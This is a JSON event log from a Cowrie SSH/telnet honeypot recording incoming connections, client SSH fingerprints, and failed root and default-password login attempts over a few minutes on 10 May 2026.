{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":12684,"dst_ip":"10.17.0.5","dst_port":23,"session":"95006de80ff2","protocol":"telnet","message":"New connection: 212.55.149.117:12684 (10.17.0.5:23) [session: 95006de80ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:24:11.424297Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":49419,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eae75afcd5a","protocol":"telnet","message":"New connection: 212.55.149.117:49419 (10.17.0.5:23) [session: 9eae75afcd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:24:20.881670Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":47481,"dst_ip":"10.17.0.5","dst_port":23,"session":"0452d199489e","protocol":"telnet","message":"New connection: 212.55.149.117:47481 (10.17.0.5:23) [session: 0452d199489e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:24:23.428525Z"}
{"eventid":"cowrie.session.closed","duration":59.33373737335205,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:24:24.915491Z","src_ip":"212.55.149.117","session":"314a44c1ba47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.77.9.130","src_port":49248,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8ff9ba6263b","protocol":"ssh","message":"New connection: 204.77.9.130:49248 (10.17.0.5:22) [session: e8ff9ba6263b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.307384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.313886Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.383750Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:9d:d4:a9:d0:35:8e:7f:ec:3c:bf:e5:2f:fb:cb:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+XZ7dDGJjpMOjwcA704jxTDRHl+m0WRNwdou9b+V40Qwod51HBDmD3oiTJa9nn0WiHdj4M1+6v+N8GLP4oeFGdXTEA35/3yO8phoJDFaw99Kiq+am3VEXEf0jfr7osmiDqw1oU41yl6ihaTP3O7dQd4MpBVoKfuczshiPlbrTxPfRf8tzPMPjCXDEi+g2xGk7Fu8V0GBIkG9PYo3rMe34JAE+4hHzYLhxBRyXFuPsc479vfZEno+Q00FNNea7XQ+Hv32I1KtZ+aR64nNMSgBgsivyZ3TY3eWIe3P7LrWi7Ocz0cYJskxpHlb2fmdr7eMDrwWx/2CrO/yL2mQ8BDF7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:9d:d4:a9:d0:35:8e:7f:ec:3c:bf:e5:2f:fb:cb:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.698130Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:9d:d4:a9:d0:35:8e:7f:ec:3c:bf:e5:2f:fb:cb:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+XZ7dDGJjpMOjwcA704jxTDRHl+m0WRNwdou9b+V40Qwod51HBDmD3oiTJa9nn0WiHdj4M1+6v+N8GLP4oeFGdXTEA35/3yO8phoJDFaw99Kiq+am3VEXEf0jfr7osmiDqw1oU41yl6ihaTP3O7dQd4MpBVoKfuczshiPlbrTxPfRf8tzPMPjCXDEi+g2xGk7Fu8V0GBIkG9PYo3rMe34JAE+4hHzYLhxBRyXFuPsc479vfZEno+Q00FNNea7XQ+Hv32I1KtZ+aR64nNMSgBgsivyZ3TY3eWIe3P7LrWi7Ocz0cYJskxpHlb2fmdr7eMDrwWx/2CrO/yL2mQ8BDF7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.703255Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:3f:a1:35:4c:5e:be:d4:6a:25:8f:b5:21:08:d8:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2u6oS7Lzp3jdEjLTzDkiC+pT7VWN7QzSqXuPTMjoEph6i1xNLs0N444bThHvtB/U3goGneiYURxm+mcGqQQax0gKhMzyUgFSY31WSlytmt14P5+Mv6+E0U9Iizc2MVqwYsMp488f6A4XGoFBD0qoyrdN4rMvJT8QgKaolluOJ+unlDlTaoxbyFxJu72W4mdZ6pEpjg1U3dwA3pX4X/6XlvEycoK3aaF6OGu25Y6xZuTXEqC1a4A7wLGDZVg77ixgf8mZHisuAHCeY1xfFht5gYnBdNh5VdE5y0WDoeO2BnWcUOgtLV3EQ4wpD+KC7pdZMfNmRtNY0t9h6MxmjzAHY4y++roXOGEKOmMxDpD2C2Z+e796NrWPcoLgdKqoAmZAHtIS5BbAErKrPtONrK00RcAT3n3dD92L6dCxMLkMlLph8kCEklGlwlwxtVLaL8F3DdWP/pBFVASEEhBUvNEHJ+UavNg/E7cs+8VYb58cwgERDXKiN80/zCeio9l+mEQk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:3f:a1:35:4c:5e:be:d4:6a:25:8f:b5:21:08:d8:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.779372Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:3f:a1:35:4c:5e:be:d4:6a:25:8f:b5:21:08:d8:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2u6oS7Lzp3jdEjLTzDkiC+pT7VWN7QzSqXuPTMjoEph6i1xNLs0N444bThHvtB/U3goGneiYURxm+mcGqQQax0gKhMzyUgFSY31WSlytmt14P5+Mv6+E0U9Iizc2MVqwYsMp488f6A4XGoFBD0qoyrdN4rMvJT8QgKaolluOJ+unlDlTaoxbyFxJu72W4mdZ6pEpjg1U3dwA3pX4X/6XlvEycoK3aaF6OGu25Y6xZuTXEqC1a4A7wLGDZVg77ixgf8mZHisuAHCeY1xfFht5gYnBdNh5VdE5y0WDoeO2BnWcUOgtLV3EQ4wpD+KC7pdZMfNmRtNY0t9h6MxmjzAHY4y++roXOGEKOmMxDpD2C2Z+e796NrWPcoLgdKqoAmZAHtIS5BbAErKrPtONrK00RcAT3n3dD92L6dCxMLkMlLph8kCEklGlwlwxtVLaL8F3DdWP/pBFVASEEhBUvNEHJ+UavNg/E7cs+8VYb58cwgERDXKiN80/zCeio9l+mEQk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.784575Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:f9:c0:c0:bf:8b:48:d4:95:bf:f8:0c:e9:85:7a:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7SvghVZVJ0plQHTq0HBqrYYU7sHRfQqa/SdplwrUItQcTJsku/zn8NDRH+WVp0uU29OugXbQxVLp1Q1gdooiJMj4n6gTQua2gZ7Jb31oZz14FXDtj+EKzgPdyEDHSltVc4HLjQaTM6ywvVQvJFfVepGU4UjIW4+7JXQZGeBa+IJF7sgk+lQdtxVv1mlxhCzT70EE+cq7ZDVttVTMHdtJQ8ONBalU4ceez5DkuwXMz8fV5c14dg+veJVWv9KxOBPgdqXOeMMEPaBWQSgmyk8qplsiAc4IbHHpN+riwsvFM9/3nx9iB8HzOmTZnAFPhaze4x7yowReFvRoWztB8M1UKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:f9:c0:c0:bf:8b:48:d4:95:bf:f8:0c:e9:85:7a:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.861439Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:f9:c0:c0:bf:8b:48:d4:95:bf:f8:0c:e9:85:7a:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7SvghVZVJ0plQHTq0HBqrYYU7sHRfQqa/SdplwrUItQcTJsku/zn8NDRH+WVp0uU29OugXbQxVLp1Q1gdooiJMj4n6gTQua2gZ7Jb31oZz14FXDtj+EKzgPdyEDHSltVc4HLjQaTM6ywvVQvJFfVepGU4UjIW4+7JXQZGeBa+IJF7sgk+lQdtxVv1mlxhCzT70EE+cq7ZDVttVTMHdtJQ8ONBalU4ceez5DkuwXMz8fV5c14dg+veJVWv9KxOBPgdqXOeMMEPaBWQSgmyk8qplsiAc4IbHHpN+riwsvFM9/3nx9iB8HzOmTZnAFPhaze4x7yowReFvRoWztB8M1UKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.866796Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:73:48:c9:57:29:d4:79:e5:d2:7a:83:18:d6:57:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo6LVTVai7jpeaxdfWnLVtgcqu2QLVoOZyTSMOGkd3N+Scf0+03hoIW0QNggKrLYmcnTtqmT4rxUAySE7bX2QyAuoOUG6uuaG+O0joKKzKAoRlN/smpczF9bipKBL2zFYC63WFz+rvg4ayHf23GEkPfyedTf6Q7Dig9SMS4IIWKOWBM8yjzugRQwHSTaCpLJcnZBZ/UPJIUlJGb3lioc+VZBrUUsKlc02orLt7Um5Kk8qhZB+sZ//faXtTLOzrPu4R4LSpACodxzNHd9zq2gUHnByPtxKNvQhWp2yQYCgr7cl736uZrMBWY974pkqwV4jD9fSrS+WLddtg0jIVqvM1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:73:48:c9:57:29:d4:79:e5:d2:7a:83:18:d6:57:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.956860Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:73:48:c9:57:29:d4:79:e5:d2:7a:83:18:d6:57:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo6LVTVai7jpeaxdfWnLVtgcqu2QLVoOZyTSMOGkd3N+Scf0+03hoIW0QNggKrLYmcnTtqmT4rxUAySE7bX2QyAuoOUG6uuaG+O0joKKzKAoRlN/smpczF9bipKBL2zFYC63WFz+rvg4ayHf23GEkPfyedTf6Q7Dig9SMS4IIWKOWBM8yjzugRQwHSTaCpLJcnZBZ/UPJIUlJGb3lioc+VZBrUUsKlc02orLt7Um5Kk8qhZB+sZ//faXtTLOzrPu4R4LSpACodxzNHd9zq2gUHnByPtxKNvQhWp2yQYCgr7cl736uZrMBWY974pkqwV4jD9fSrS+WLddtg0jIVqvM1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:02.975897Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:9d:72:a6:76:5b:33:67:a8:8d:5a:34:59:5d:33:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMEjehp25rJEaa5obpWe/xIASYTtQzJ2JCsjPtT6MzwhwUymRP53KgAkk4gko6wARFHT3WMwwh9ccI5cqikJrVXhkq7D8esCzHNQeOZk7OJASBRqtspwFOOWTcfEcw+F9fp4dpRoo1tpgnRr2NfXqq3HUpwUehpPz6G//Q/h5jM4mCHYmG67k6yWv+1VK/4TTdo4WwvJlj2PrvyHJmGWxAPARC7J2MYn7yf/v1IxHmlOhWmgckxtEqX8itKn7S7DZVPF5ehawRCUsFgkLD59xeBLDn9pBsmSE0HTnEotRvq4aDALeNp66V9XphwnizfUiPTCy1Bu2bGbl6RZ1adBnN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:9d:72:a6:76:5b:33:67:a8:8d:5a:34:59:5d:33:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:03.071526Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:9d:72:a6:76:5b:33:67:a8:8d:5a:34:59:5d:33:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMEjehp25rJEaa5obpWe/xIASYTtQzJ2JCsjPtT6MzwhwUymRP53KgAkk4gko6wARFHT3WMwwh9ccI5cqikJrVXhkq7D8esCzHNQeOZk7OJASBRqtspwFOOWTcfEcw+F9fp4dpRoo1tpgnRr2NfXqq3HUpwUehpPz6G//Q/h5jM4mCHYmG67k6yWv+1VK/4TTdo4WwvJlj2PrvyHJmGWxAPARC7J2MYn7yf/v1IxHmlOhWmgckxtEqX8itKn7S7DZVPF5ehawRCUsFgkLD59xeBLDn9pBsmSE0HTnEotRvq4aDALeNp66V9XphwnizfUiPTCy1Bu2bGbl6RZ1adBnN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:03.076132Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:03.153698Z","src_ip":"204.77.9.130","session":"e8ff9ba6263b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.365764141082764,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:21.247322Z","src_ip":"212.55.149.117","session":"9eae75afcd5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.91214323043823,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:23.340547Z","src_ip":"212.55.149.117","session":"0452d199489e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":46799,"dst_ip":"10.17.0.5","dst_port":23,"session":"8147bfa01ae6","protocol":"telnet","message":"New connection: 212.55.149.117:46799 (10.17.0.5:23) [session: 8147bfa01ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:30.082672Z"}
{"eventid":"cowrie.session.closed","duration":120.00201940536499,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:31.221984Z","src_ip":"212.55.149.117","session":"94ff355f300b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00145840644836,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:53.562689Z","src_ip":"212.55.149.117","session":"199ab0a00d5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43286,"dst_ip":"10.17.0.5","dst_port":22,"session":"b85cda40d8d2","protocol":"ssh","message":"New connection: 2.57.122.238:43286 (10.17.0.5:22) [session: b85cda40d8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:53.619292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:53.623639Z","src_ip":"2.57.122.238","session":"b85cda40d8d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:53.729340Z","src_ip":"2.57.122.238","session":"b85cda40d8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:54.044852Z","src_ip":"2.57.122.238","session":"b85cda40d8d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":13411,"dst_ip":"10.17.0.5","dst_port":23,"session":"4808835e9a5c","protocol":"telnet","message":"New connection: 212.55.149.117:13411 (10.17.0.5:23) [session: 4808835e9a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:54.616952Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:25:55.152655Z","src_ip":"2.57.122.238","session":"b85cda40d8d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":52342,"dst_ip":"159.203.135.109","dst_port":22,"session":"c082ccb56e27","protocol":"ssh","message":"New connection: 116.110.220.181:52342 (159.203.135.109:22) [session: c082ccb56e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:02.159898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:02.704441Z","src_ip":"116.110.220.181","session":"c082ccb56e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:02.708536Z","src_ip":"116.110.220.181","session":"c082ccb56e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ipscan","message":"login attempt [root/ipscan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:04.801678Z","src_ip":"116.110.220.181","session":"c082ccb56e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53768,"dst_ip":"10.17.0.5","dst_port":22,"session":"141d8daf9dce","protocol":"ssh","message":"New connection: 103.15.226.202:53768 (10.17.0.5:22) [session: 141d8daf9dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:05.730178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:05.734874Z","src_ip":"103.15.226.202","session":"141d8daf9dce","protocol":"ssh"}
